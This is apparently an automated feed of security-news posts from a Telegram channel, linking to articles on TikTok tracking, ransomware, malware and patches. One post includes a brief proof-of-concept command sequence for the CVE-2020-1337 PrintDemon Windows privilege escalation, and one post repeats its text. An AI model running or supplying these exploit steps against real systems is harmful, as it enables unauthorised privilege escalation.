All posts by cK-bot

■■■■■ TikTok Tracked User Data Using Tactic Banned by Google. It tracked MAC addresses of users just as Google does itself; however in an obfuscate manner. Well, the funny part is the article undermentioned describes MAC address as a 12 digit number . https://www.wsj.com/articles/tiktok-tracked-user-data-using-tactic-banned-by-google-11597176738 https://t.me/cKure/5215

■■■■■ CVE-2020-1337 is CVE-2020-1048 (aka PrintDemon) with a TOCTOU. PoC:mkdir C:\testAdd-PrinterPort -Name c:\test\ualapi.dllNew-Item -Type Junction -Path C:\test -Value C:\Windows\System32 https://voidsec.com/cve-2020-1337-printdemon-is-dead-long-live-printdemon/ https://t.me/cKure/5214

■■■■■ Adobe fixes critical code execution bugs in Acrobat and Reader. https://www.bleepingcomputer.com/news/security/adobe-fixes-critical-code-execution-bugs-in-acrobat-and-reader/ https://t.me/cKure/5213

■■■■□ HIBP / HaveIBeenPwned Set to Go Open Source https://www.infosecurity-magazine.com:443/news/haveibeenpwned-set-open/ https://t.me/cKure/5212

■■□□□ Avaddon ransomware operators, like other cybercrime groups, decided to launch a data leak site where publish data of victims who refuse to pay a ransom demand. https://securityaffairs.co/wordpress/106989/malware/avaddon-ransomware-leak-site.html | #DataLeak #Avaddon https://t.me/cKure/5211

● Twitter handle of cKure was down for a few days due to verification issues. Details: https://www.bleepingcomputer.com/news/technology/twitter-experiencing-issues-sending-account-verification-codes/ https://t.me/cKure/5209

■■■□□ #China now blocking ESNI-enabled TLS 1.3 connections, say Great-Firewall-watchers. https://go.theregister.com/feed/www.theregister.com/2020/08/11/china_blocking_tls_1_3_esni/ #GreatFirewallo#China now blocking ESNI-enabled TLS 1.3 connections, say Great-Firewall-watchers. https://go.theregister.com/feed/www.theregister.com/2020/08/11/china_blocking_tls_1_3_esni/ #GreatFirewallofChina https://t.me/cKure/5208

■□□□□ Bug Bounty tip. https://mobile.twitter.com/BurpBounty/status/1293083697474867200 https://t.me/cKure/5205

■■■□□ CVE-2020-11518: how I bruteforced my way into your Active Directory. https://honoki.net/2020/08/10/cve-2020-11518-how-i-bruteforced-my-way-into-your-active-directory/ https://t.me/cKure/5204

■■□□□ Upgraded Agent Tesla malware steals passwords from browsers, VPNs. https://www.bleepingcomputer.com/news/security/upgraded-agent-tesla-malware-steals-passwords-from-browsers-vpns/ https://t.me/cKure/5203